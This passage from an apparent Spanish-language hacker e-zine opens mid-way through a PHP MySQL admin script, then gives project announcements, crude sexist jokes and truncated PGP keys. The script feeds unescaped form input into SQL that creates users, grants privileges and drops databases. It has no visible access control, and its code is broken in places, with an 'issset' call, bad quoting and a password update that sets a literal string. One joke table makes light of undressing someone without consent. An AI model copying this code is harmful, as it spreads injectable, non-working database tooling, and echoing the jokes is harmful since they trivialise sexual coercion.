        if (!issset($usuario))  { $usuario=""; }
	Opciones();
	echo "<center>"
	    ."<FORM method=\"post\" action=\"sql.php?op=Agregar2\">
\n"
	    ."<TABLE>\n"
	    ."   <TR>\n"
	    ."     <TD>Hostname   :</TD>\n";
        echo "     <TD><INPUT type=\"text\" name=\"hostname\" value=\"$hostname\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Database:</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"database\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
            ."     <TD>Usuario  :</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"usuario\" value=\"$usuario\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Selecion (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"sp\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Insercion (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"ip\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Actualizacion (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"up\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Borrado (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"delp\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Creacion (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"cp\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Borrado Completo (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"dropp\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."</TABLE>\n"
	    ."<INPUT type=\"submit\" name=\"enviar\" value=\"Agregar informacion\">
\n"
	    ."</FORM>\n";
}

function Agregar1($enviar, $hostname, $usuario, $password) {
    if ($enviar) { $bandera="1";
	if ($hostname == "" && $usuario == "" && $password == "") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Por favor, revise sus datos porque alguno ha quedado vacio.</FONT>\n";
	    echo "<BR><BR><FONT size=\"4\>[ <a href=\"javascript:history.go(-1)">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($bandera=="1") { Opciones();
	    Conectar();
	    $result=mysql_query("INSERT INTO user (Host,User,Password) VALUES ('$hostname', '$usuario', '$password')");
	    $result2=mysql_query("FLUSH PRIVILEGES");
	    if((!$result) && (!$result)){
    		    echo "Selection from database failed!";
		    echo mysql_errno(). ": ".mysql_error(). "<br>";
		    exit;
	    } else {
	         echo "<center>Hemos recibido sus datos. <BR>"
		     ."[ <a href=\"sql.php?op=Paso2&hostname=$hostname&usuario=$usuario\">Ir al paso 2 (Activacion de Permisos) ]</a> </center>\n";
	      } 
        } 
	}
    else
	{
	echo "<center>"
	    ."<FORM method=\"post\" action=\"sql.php?op=Agregar2\">
\n"
	    ."<TABLE>\n"
	    ."   <TR>\n"
	    ."     <TD>Hostname   :</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"hostname\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
            ."     <TD>Usuario  :</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"usuario\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Password:</TD>\n"
	    ."     <TD><INPUT type=\"password\" name=\"password\"></TD>\n"
	    ."   </TR>\n"
	    ."</TABLE>\n"
	    ."<INPUT type=\"submit\" name=\"enviar\" value=\"Agregar informacion\">
\n"
	    ."</FORM>\n";
    }
}

function Agregar2($enviar, $hostname, $database, $usuario, $sp, $ip, $up, $delp, $cp, $dropp) {
    if ($enviar) { $bandera="1";
	if ($hostname == "" && $database == "" && $usuario == "" && $sp == "" && $ip == "" && $up == "" && $delp == "" && $cp == "" && $dropp == "") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Por favor, revise sus datos porque alguno ha quedado vacio.</FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($bandera=="1") { Opciones();
	    Conectar();
	    $result=mysql_query("INSERT INTO db (Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv) VALUES ('$hostname','$database','$usuario','$sp','$ip','$up','$delp','$cp','$dropp')");
	    $result2=mysql_query("FLUSH PRIVILEGES");
	    if((!$result) && (!$result)){
    		    echo "La seleccion de la DB ha fallado!<br>\n";
		    echo mysql_errno(). ": ".mysql_error(). "<br>";
		    exit;
		} 
         else {
	    echo "<CENTER>Hemos recibido sus datos. <BR> [ <a href=\"sql.php\">Regresar</a> ]</CENTER>\n";
	  }
                
	}
    } 
    else
	{
        if (!issset($hostname)) { $hostname="localhost"; }
        if (!issset($usuario))  { $usuario=""; }
	Opciones();
	echo "<center>"
	    ."<FORM method=\"post\" action=\"sql.php?op=Agregar2\">
\n"
	    ."<TABLE>\n"
	    ."   <TR>\n"
	    ."     <TD>Hostname   :</TD>\n";
        echo "     <TD><INPUT type=\"text\" name=\"hostname\" value=\"$hostname\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Database:</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"database\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
            ."     <TD>Usuario  :</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"usuario\" value=\"$usuario\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Selecion (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"sp\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Insercion (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"ip\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Actualizacion (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"up\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Borrado (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"delp\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Creacion (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"cp\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Activar Borrado Completo (Y/N):</TD>\n"
            ."     <TD>"
	    ."     <SELECT name=\"dropp\">\n"
            ."      <OPTION value=\"Y\">Si</OPTION>\n"
            ."      <OPTION value=\"N\">No</OPTION>\n"
            ."     </SELECT>"
	    ."     </TD\n"
	    ."   </TR>\n"
	    ."</TABLE>\n"
	    ."<INPUT type=\"submit\" name=\"enviar\" value=\"Agregar informacion\">
\n"
	    ."</FORM>\n";
    }
}

function Ver() {
	global $hostname, $usuario;
        Conectar();
	Opciones();
        $resultado = mysql_query("select * from user where User='aleluya' && Host='%'");
        echo "<TABLE width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"2\">\n"
            ."<TR bgcolor=\"FFFF0F\">\n"
	    ."<TD widht=\"10%\">Hostname</TD>\n"
	    ."<TD widht=\"20%\">Usuario</TD>\n"
	    ."<TD widht=\"10%\"> </TD>\n"
	    ."<TD widht=\"10%\"> </TD>\n"
	    ."<TD widht=\"10%\"> </TD>\n"
	    ."<TD widht=\"10%\"> </TD>\n"
	    ."<TD widht=\"10%\"> </TD>\n"
	    ."<TD widht=\"10%\"> </TD>\n"
	    ."<TD widht=\"10%\"> </TD>\n"
            ." </TR>
\n";
	while(list($hostname, $database, $usuario, $sp, $ip, $up, $delp, $cp, $dropp) = mysql_fetch_row($resultado)) 
	{
	    echo " <TR bgcolor=\"FFFFFF\">\n"
	        ."  <TD widht=\"10%\">$hostname</TD>\n"
	        ."  <TD widht=\"20%\">$user</TD>\n"
	        ."  <TD widht=\"10%\">$sp</TD>\n"
	        ."  <TD widht=\"10%\">$ip</TD>\n"
	        ."  <TD widht=\"10%\">$up</TD>\n"
		."  <TD widht=\"10%\">$delp</TD>\n"
		."  <TD widht=\"10%\">$cp</TD>\n"
		."  <TD widht=\"10%\">$dropp</TD>\n"
	        ." </TR>\n";
        }
	echo "</TR>
</TABLE>
\n";
}

function Crear() {
	Opciones();
	echo "<center>"
	    ."<FORM method=\"post\" action=\"sql.php?op=CrearDB\">
\n"
	    ."<TABLE>\n"
	    ."   <TR>\n"
	    ."     <TD>Nombre de la Base de Datos a Crear:</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"database\"></TD>\n"
	    ."   </TR>\n"
	    ."</TABLE>\n"
	    ."<INPUT type=\"submit\" name=\"enviar\" value=\"Agregar informacion\">
\n"
	    ."</FORM>\n";

}

function CrearDB($enviar,$database) {

    if ($enviar && $database) {
 ;
	Conectar();
	$result = mysql_query("CREATE DATABASE $database") or die ("No se puedo crear la Database");
	echo "La Database se ha creado con exito!.\n";
    } else { echo "No se puedo crear la DB\n"; }
}

function CambiarPWD($hostname, $usuario, $password) {

    if (($hostname && $usuario) && $password) { 
	Conectar();
	$result = mysql_query("UPDATE user SET Password='password' where User='$usuario' and Host='$hostname'") or die ("No se pudo actualizar la Database");
	echo "Se ha actualizado el Password con exito!.\n";
    } else { echo "No se pudo actualizar el Password\n"; }
}

function MenuCambiarPWD() {

	Opciones();
	echo "<center>"
	    ."<FORM method=\"post\" action=\"sql.php?op=CambiarPWD\">
\n"
	    ."<TABLE>\n"
	    ."   <TR>\n"
	    ."     <TD>Nombre de Usuario:</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"usuario\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Hostname :</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"hostname\"></TD>\n"
	    ."   </TR>\n"
	    ."   <TR>\n"
	    ."     <TD>Nuevo Password :</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"password\"></TD>\n"
	    ."   </TR>\n"
	    ."</TABLE>\n"
	    ."<INPUT type=\"submit\" name=\"enviar\" value=\"Agregar informacion\">
\n"
	    ."</FORM>\n";

}

function Borrar() {
	Opciones();
	echo "<center>"
	    ."<FORM method=\"post\" action=\"sql.php?op=BorrarDB\">
\n"
	    ."<TABLE>\n"
	    ."   <TR>\n"
	    ."     <TD>Nombre de la Base de Datos a Borrar:</TD>\n"
	    ."     <TD><INPUT type=\"text\" name=\"database\"></TD>\n"
	    ."   </TR>\n"
	    ."</TABLE>\n"
	    ."<INPUT type=\"submit\" name=\"enviar\" value=\"Agregar informacion\">
\n"
	    ."</FORM>\n";

}

function BorrarDB($enviar,$database) {

    if ($enviar && $database) { ;
	Conectar();
	$result = mysql_query("DROP DATABASE $database") or die ("No se pudo borra la Database");
	echo "La Database se ha eliminado con exito!.\n";
    } else { echo "No se puedo borrar la DB\n"; }
}

function Footer() {
    echo "<BR><BR><CENTER>Hecho Por: <a href=\"http://www.otv.org.ve">Mr. 
kl0nk Manson</a>.</CENTER>\n";
}

switch($op) {

    case "Agregar1":
	Agregar1($enviar, $hostname, $usuario, $password);
	break;

    case "Agregar2":
	Agregar2($enviar, $hostname, $database, $usuario, $sp, $ip, $up, $delp, $cp, $dropp);
	break;

    case "Ver":
	Ver();
	break;

    case "Paso2":
	Paso2($hostname,$usuario);
	break;

    case "Crear":
	Crear();
	break;

    case "CrearDB":
	CrearDB($enviar,$database);
	break;

    case "MenuCambiarPWD":
	MenuCambiarPWD();
	break;

    case "CambiarPWD":
	CambiarPWD($hostname, $usuario, $password);
	break;

    case "Borrar":
	Borrar();
	break;

    case "BorrarDB":
	BorrarDB($enviar,$database);
	break;

    default:
        Conectar();
	Paso1();
	break;


}

Footer();
?>
</BODY>
</HTML>

[--]



-[ 4x16.txt ]----------------------------------------------------------------
-[ Proyectos Varios ]----------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ staff@otv.org.ve ]-

  Esta  es  una  nueva  seccion donde te mantendremos informado sobre los
  proyectos de 0ri0n, tanto lo que se estan ejecutando como los proximos.
  Entre ellos encontramos:


      A. Colaboraciones/Colaboradores.
      B. Mirror 0ri0n E-Zine. 
      C. Lista de Correo.
      D. Deposito de Documentacion.
      E. Canal en el IRC.
      F. Campa~a Anti-Pornografia-Infantil


  -=[ Colaboraciones/Colaboradores ]=-


  Colaboraciones:
  ---------------

  Puedes colaborar con todo lo que tu quieras (o lo que tu puedas), como
  articulos, dinero, piezas de computacion, etc. Para ello debes  enviar
  un correo con anterioridad a:

  staff@otv.org.ve

  Luego te diremos como y cuando puedes colaborar con nosostros (ya que
  nosotros no solo vivimos del aire).

  Colaboradores:
  --------------

  Estamos en busqueda de personas creativas y activas para que nos echen
  una manito  con nuestras  labores  diarias (como editores de noticias, 
  escritores para nuestro E-Zine, etc); para ellos nos puedes enviar  un
  email a:

  staff@otv.org.ve

  Con titulo: [Quiero Colaborar]

  Con mucho gusto te atenderemos y procesaremos tu solicitud. Con respecto a
  los colaboradores para la revista electonica, deben cumplir los siguientes
  requisitos:

  1. Saber Leer y Escribir bien.
  2. Los articulos no deben pasar de 80 columnas.
  3. Debe tener una buena ortografia y gramatica.
  4. Solo debe usar los 127 caracteres ASCII.
  5. Los textos debe leerse bien y no ser tan ELITE al escribirlos.
  6. Deben tener coherencia.
  7. Deben ser escritos bajo el EDIT del DOS o PICO en Linux.
  8. Deben enviar los articulos dos (2) semanas antes de la publicacion.
  9. Los articulos no deben ser COPIA de otros.
 10. Puedes enviar cualquier tipo de traduccion, simpre y cuando respetando
     el Copyright de el autor y la proveniencia del articulo.


  La direccion de correo electronico para el envio de los articulos es la
  siguiente:

  ezine@otv.org.ve



  -=[ Mirror 0ri0n E-Zine]=-


  Estamos en busquedas de mirrors para nuestra revista, si deseas ser mirror
  de nuestra Zine puedes enviarnos un Correo a la siguiente direccion:

  kl0nk@otv.org.ve o elreviron@otv.org.ve

  Con titulo:  [Mirror 0ri0n E-Zine]
  
  Ya por lo menos tenemos 5 sitios que son mirror Ezine de nuestra Revista,
  los cuales son:
  
  http://www.vanhackez.com             (La Tarberna de VanHackez)
  http://www.zine-store.com.ar         (Zine Store)
  http://www.x-system.net              (X-System)
  http://
www.galeon.com/deraiz         (GriNdEr Web Site)
  http://
www.elhacker.net              (ElHacker.Net)
  http://www.area54.4all.com.ar	       (Area 54)


  Si  quieres  que nosotros seamos mirror de tu revista  electronica, solo
  envianos un correo a:

  kl0nk@otv.org.ve o elreviron@otv.org.ve

  Con titulo: [Quiero que 0ri0n sea Mirror de mi E-Zine...]

  Y en menos de dos dias lo tendremos listo.



  -=[ Lista de Correos ]=-


  Con respecto a nuestra lista de correos, puedes subscribirte enviando un
  correo en blanco a:

  orion-team-subscribe@yahoogroups.com

  Y para para cancelar tu subscribcion, envia un correo en blanco a:

  orion-team-unsubscribe@yahoogroups.com (Recibiras un correo de confirmacion)

  Tambien te puedes subscribir a nuestra lista de correos desde nuestro sitio
  web (en los bloques a mano izquierda). Para ver las reglas de la lista 
  visita:

  http://www.otv.org.ve/lista.php


                 ..... [ Di NO al Correo NO SOLICITADO ] .....



  -=[ Deposito de Documentacion ]=-

  Este  es  un nuevo  proyecto de 0ri0n (la cual esta en fase beta), lo que
  quereremos con esto es depositar en nuestra web con toda la documentacion
  referente a Sistema Operativos, Redes, Lenguajes de Programacion, Etc. Si
  tienes  un  buen  texto, puedes  enviarlo  a  docs@otv.org.ve  ( con  su
  respectivo Copyright, Nombre del Autor, Direccion de Correo Electronico),
  la documentacion ya depositada la puedes ver en:

  http://www.otv.org.ve/module.php?name=Download


  -=[ Canal en el IRC.]=-

  Este es un peque~o proyecto (mas que un proyecto es una  via  de descanso
  para todo el staff de 0ri0n), fue el de fundar un canal de  charlas en el
  IRC (irc.dal.net:7000), es el de #otv , aqui nos reunimos  todos los  del
  staff (y algunos amigos) para discutir  diferentes  temas  (H/C/P/V/Etc);
  Pero como todo no es color rosa tambien fundamos un canal para proporcionar
  ayuda con linux, que es el de  #LinuxAyuda, alli   puedes conseguir ayuda
  con  todo  lo  referente  a   al   maravilloso Sistema  Operativo  Linux, 
  simplemente  te  invitamos  para  que  compartas  un  rato agreadable con 
  nosostros.
  
  Tambien  buscamos  personas  que pueda colaborar  con Bots para el canal
  de #LinuxAyuda, esto es para automatizar el proceso  y  para  resguardar
  el canal.
 
 
  -=[ Campa~a Anti-Pornografia Infantil ]=-

  Este es  un  nuevo proyecto, en  el cual queremos hacer un llamdo a todos
  los Team de Hack que  quieran  colaborar para sacar del aire a los sitios 
  web  que contengan Pornografia  Infantil, esto  se hara denunciandolo con 
  la  gente   de   www.protegelos.com   (nada  de  WebCrack's), para  mayor 
  informacion visita nuestra web.

  Actualmente estamos trabajando en ellos las siguientes personas:
  
  - Elektr0 (Eletron Security Team - http://www.est.cl)
  - Todo el Staff de 0ri0n.
  
  Estamos apoyando a la gente de Stop Pedofilia - http://www.stop-pedofilia.net



<EOF>


-[ 4x17.txt ]----------------------------------------------------------------
-[ Seccion Anti-Stress ]-------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ staff@otv.org.ve ]-

  Una pareja que tan solo llevaba dos semanas de casados sostiene el 
  siguiente dialogo, porque el marido, aunque se sentia feliz, ya andaba
  con 
ganas de irse de parranda, asi que le dice a su mujer: 
  
  "Mi vida, ahorita vengo". 

  "¿Adonde vas, cari~o?" (Expresion de recien casados). 

  "Al bar mi cielito, a tomarme una cervecita". 

  La mujer se lleva la mano a la cintura y le dice: 
  ¿Quiere cervecita, mi amorcito?" Y en eso abre la puerta de la nevera
  y le ense~a 25 marcas de cerveza de 12 paises diferentes: mexicanas, 
  alemanas, holandesas, japonesas,etc. 

  El marido no sabe que hacer y se le ocurre decirle: 
  
  "!Ay, mi gorda divina, pero en el bar, tu sabes, la 
jarra helada...!" 

  No terminaba de decir esto, cuando la esposa interrumpe diciendole:
  
  "¿Quiere jarra congelada mi amorcito?"
  
  Saca del congelador una jarra helada, congelada, blanca, tan blanca que 
  hasta temblaba de frio. 
  
  El marido sorprendido dice: 

  "Si bebita mia, pero en el bar sirven unos Pasabocas riquisimos, 
vuelvo
  enseguida, Si"
  
  "Quiere pasaboquitas, mi amorcito?" 

  Abre el horno y la nevera y saca quince platos diferentes de 
  pasabocas: aceitunas, empanadas, papas fritas, tacos, cacahuates,
  palomitas, 
quesos, pate, caviar, carnes frias, etc. 
  
  "Pero caramelito, en el bar, tu sabes, las maldiciones, las palabrotas y 
   todo aquello..." 

  ¿Quiere palabrotas, mi amorcito? Entonces, !te tomas la puta cerveza, 
  en esa jarra de mierda y te comes esos malparidos pasabocas, pero de aqui
  no sales, hijo de puta.
  

  ...

  
  Aprendan del matrimonio....


   1. Acto religioso mediante el cual se crean un Cristo mas y una virgen
      menos.
   2. Un intercambio de malos humores durante el día y malos olores durante
      la noche.
   3. Unica sentencia a cadena perpetua que se cancela por mal comportamiento.
   4. Situacion en la que ninguna mujer obtiene lo que esperaba, y ningun
      hombre espera lo que obtiene.
   5. Matematicamente: suma de afecto, resta de libertades, multiplicacion de
      responsabilidades y division de bienes.
   6. Dicese de la principal causa de divorcio.
   7. Proceso quimico por medio del cual una media naranja se convierte en un 
      medio limon.
   8. Forma mas rapida de ponerse gordo.
   9. La unica guerra, en la que se duerme con el enemigo.
  10. Es lo que resulta cuando en la "guerra de sexos" decides tomar una
      prisionera.

  ...      

  TRES REFLEXIONES FINALES:


  1. Sirve para resolver problemas que nunca hubieras tenido si
  hubieras seguido soltero.

  2. Si no fuera por el matrimonio, muchos maridos no tendrían nada
  en común con sus esposas.

  3. El hombre soltero es un animal incompleto. El hombre casado un
  completo animal.

  ANTES/DESPUÉS

  Antes: dos por noche
  Después : dos por mes.

  Antes: ¡Me dejas sin aliento!
  Después: ¡Me estas ahogando!

  Antes: ¡¡No pares!
  Después :¡¡No empieces !

  Antes : Fiebre de sábado por la noche
  Después : Monday Night Football.

  Antes : "El sonido de la música"
  Después : "Los sonidos del silencio"

  Antes: Estar a tu lado...
  Después : ¡Hazte a un lado!

  Antes : Me pregunto ¿que haría sin ella?
  Después : Me pregunto ¿que hago con ella?

  Antes : Erótica
  Después : Neurótica

  Antes: Parece que estamos juntos desde siempre
  Después : ¡Siempre estamos juntos!

  Antes : Ella adora como controlo las situaciones
  Después : Ella dice que soy un manipulador egomaníaco

  Antes : Anoche lo hicimos en el sofá
  Después : Anoche dormí en el sofá

  Antes : Había una vez...
  Después : Fin...


  Otros asuntos:

  Mi amor, hoy estamos de aniversario de matrimonio, ¿por que no matamos
  un pollo?

   Y qué culpa tiene el pollito, por qué no matamos al estúpido de tu
   hermano, que fue el que nos presento.

   ...   
   
   De regreso de su trabajo, el esposo se sentó a la mesa y su mujer le
   pregunto: ¿Te sirvo? ..........A veces.

   ...

   María, ahora que me voy a morir te quiero confesar un secreto.

  ¿Qué secreto?
  Que hace poco te engañé con tu mejor amiga.

  Je, Je, Je-....¿Por que crees que te he envenenado?


   ...

   María, promete que cuando me muera te casarás con Antonio.

   Pero, ¡si es tu peor enemigo!

   Pues por eso, ¡pa'que se lo lleve errrrr diablo!.
 
   ...
 

 
   POEMA CUMANES
  
   Yo me propongo al morir
   ciertos órganos donar,
   que a enfermos sin porvenir
   puedan sus vidas salvar.
   
   Que mis ojos sigan viendo
   la belleza de la aurora
   y así seguiré viviendo
   cuando me llegue la hora.
   
   Si necesitan riñones
   tengo un par en buen estado
   y dos potentes pulmones,
   por que yo nunca he fumado.
   
   Mi corazón donaré
   y que otro siga viviendo.
   Yo, por lo mucho que amé,
   quiero que siga latiendo.

   Para un gran necesitado
   mi pinga será donada.
   Que la use sin cuidado
   que esta bien acostumbrada.
   
   Que la ponga a fornicar
   y ningún polvo rehuse,
   ella no se va a gastar
   por más que se lave y se use.

   Me reservo lengua = boca
   porque soy conservador,
   sería triste si le toca
   a algún viejo mamador.
   
   Y no las voy a donar
   pues no se que sentiría,
   si alguien se pone a mamar
   con la lengua y boca mías.
   
   El culo, NI MENCIONARLO!!!
   pues corre un riesgo mayor.
   No me propongo donarlo...
   pensarlo me da terror.
   
   ¿Qué pasa si un cirujano,
   con una aviesa intención
   se decide a trasplantarlo
   a un paciente maricon?
   
   Pues es un hecho bien cierto,
   lo digo! sin vanidad:
   Que triste, ya estando muerto
   perder la virginidad!
   
   La perspectiva me aterra,
   lo digo sin disimulo.
   Tanto cuidarlo en la tierra
   y ya muerto... dando el culo?
 
   ...
   
   
   COSAS QUE SUCEDEN

   Hace dos semanas cumplí 35 años. Cuando me levante esa mañana, no me 
   sentía
 bien, pero tenia la esperanza de que mi esposa me cantaría feliz
   cumpleaños
 y trataría de sorprenderme con un regalo, pero ni siquiera me 
   dijo buenos
 días. Mis hijos se sentaron a desayunar, pero tampoco me 
   felicitaron. llegue
 muy deprimido a mi oficina, pero al entrar mi 
   secretaria grito "feliz
 cumpleaños". Me sentí un poco mejor, por lo 
   menos alguien recordaba mi
 cumpleaños. trabaje normalmente y para mi 
   tristeza ninguno de mis amigos, ni
 allegados me llamaron para felicitarme. 
   cerca del mediodía, mi secretaria
 llamo a la puerta y me dijo: 
   
   porque no almorzamos juntos? 
   
   Le dije que era la
 propuesta mas hermosa que había recibido ese día y 
   acepte. Escogimos un
 restaurante acogedor y nos tomamos unos tragos. 
   Todo estuvo delicioso y nos
 divertimos bastante. De regreso a la oficina 
   me dijo: 
   
   "En este día tan
 especial, para que regresar a la oficina tan temprano, 
   vamos a mi
 apartamento y seguimos pasándola bien". 
   
   Bueno, respondí, vamos y disfrutamos
 de unos tragos mas.

   Una vez en el apartamento, me dijo: "si no te molesta quisiera ponerme mas
   cómoda". conteste: no hay problema; humm.. Dentro de mi pense que después
   de todo podría ser una experiencia interesante. Ella entro a su habitación 
   y
 unos minutos mas tarde... salio con un gran pastel de cumpleaños, 
   seguida de
 mi esposa, mis hijos, mis familiares y amigos cantando 
   "happy birthday to
 you..." y allí estaba yo... el guevón, desnudo en la 
   sala...

   ... 
  

   DIETA SUPER EFECTIVA
 
   Si quieres perder unos kilos y no quieres ni pasar hambre ni hacer 
   ejercicios fuertes, hay que seguir la dieta como se indica. 
De acuerdo a
   los últimos estudios realizados en la Universidad de Oxford por el doctor 
   John "Ohmaygad", se demuestra que la dieta más efectiva para el ser humano 
   y más placentera es la que a continuación se detalla. 

   Nótese por favor la veracidad de los datos estadísticos. 

   El Sexo es la manera más práctica y divertida de perder peso. 

   Consumo de calorías 

   QUITANDO LA ROPA: 

   Con el consentimiento de ella.............. 12 cal 
   Sin el consentimiento de ella............. 187 cal 

   ABRIENDO EL SOSTÉN 

   Con las dos manos........................... 8 cal 
   Con una mano............................... 12 cal 
   Con la boca................................ 85 cal 
  
   COLOCANDO EL PRESERVATIVO 

   Con erección................................ 6 cal 
   Sin erección.............................. 315 cal 
   
   PRELIMINARES 

   Intentando encontrar el clítoris............ 8 cal 
   Intentando encontrar el punto G............ 92 cal 
   
   POSICIONES 

   Misionero.................................. 12 cal 
   69 tumbado................................. 78 cal 
   69 de pie................................. 112 cal 
   Carretilla................................ 216 cal 
   De perrito................................ 326 cal 
   Candelabro italiano....................... 912 cal 
   
   TENIENDO UN ORGASMO 

   Real...................................... 112 cal 
   Falso..................................... 315 cal 
   
   POST ORGASMO 

   Quedarse en la cama abrazado............... 18 cal 
   Salir de la cama enseguida................. 36 cal 
   Explicar por qué salió de la cama......... 816 cal 
   
   CONSIGUIENDO LA SEGUNDA ERECCIÓN 

   Si tiene: de 20 a 29 años............................ 36 cal 
   de 30 a 39 años............................ 80 cal 
   de 40 a 49 años........................... 124 cal 
   de 50 a 59 años........................... 972 cal 
   de 60 a 70 años.......................... 2916 cal 
   más de 70 años...no hay información, los voluntarios murieron en el 
   intento. 

   COLOCANDO LA ROPA 

   Con calma.................................. 32 cal 
   Con prisa para salir....................... 98 cal 
   Con el papá de ella golpeando la puerta.. 1218 cal 
   Con tu mujer golpeando la puerta......... 3521 cal
   
   DIETA PARA LA BUENA FIGURA 

   Espero que les de resultado... SUERTE!!! 
   
   LUNES: La dieta del cucurucho, comer poco y coger mucho. 
   MARTES: La dieta de Benita, comer bien por la mañana de noche una cogidita. 
   MIERCOLES: La dieta de Andrés, una cogidita al derecho y otra al revés. 
   JUEVES: La dieta de Guido, igual que la del cucurucho pero mas seguido. 
   VIERNES: La dieta de la granada, en la mañana una cogida y para la noche 
            una mamada. 

   SABADO: La dieta de Mingo, meterla el sábado y no sacarla hasta el domingo.
   DOMINGO: Día Libre. Opción: la dieta de la pasta, coger hasta que uno diga 
   basta. 
   
   Nota: Cualquier menú se puede reemplazar por la dieta del capataz: comenzar
         por delante y terminar por atrás. 


<EOF>


-[ 4x18.txt ]----------------------------------------------------------------
-[ Llaves PGP ]----------------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ staff@otv.org.ve ]-

  Llaves:
  -------
  - Staff:
    0ri0n Staff
    ShAd0w5
    Mr. kl0nk Manson


0ri0n Staff
-----------

[++] KeysPGP/staff.asc $d8b06d0980c0c966f6ddfc31b2150a21
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>


=pAl/
-----END PGP PUBLIC KEY BLOCK-----
[--]


ShAd0w5
-------

[++] KeysPGP/shadow5.asc $7c610ee8548cb279b08a8bcf45adec7d
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>
Comment: ShAd0w5 <shadow5@0ri0n.org>


FyvG254=
=6idm
-----END PGP PUBLIC KEY BLOCK-----
[--]


Mr. kl0nk Manson
----------------

[++] KeysPGP/kl0nk.asc $dbb69deb5f08c88c1fd5cd3231860f98
-----BEGIN PGP PUBLIC KEY BLOCK-----
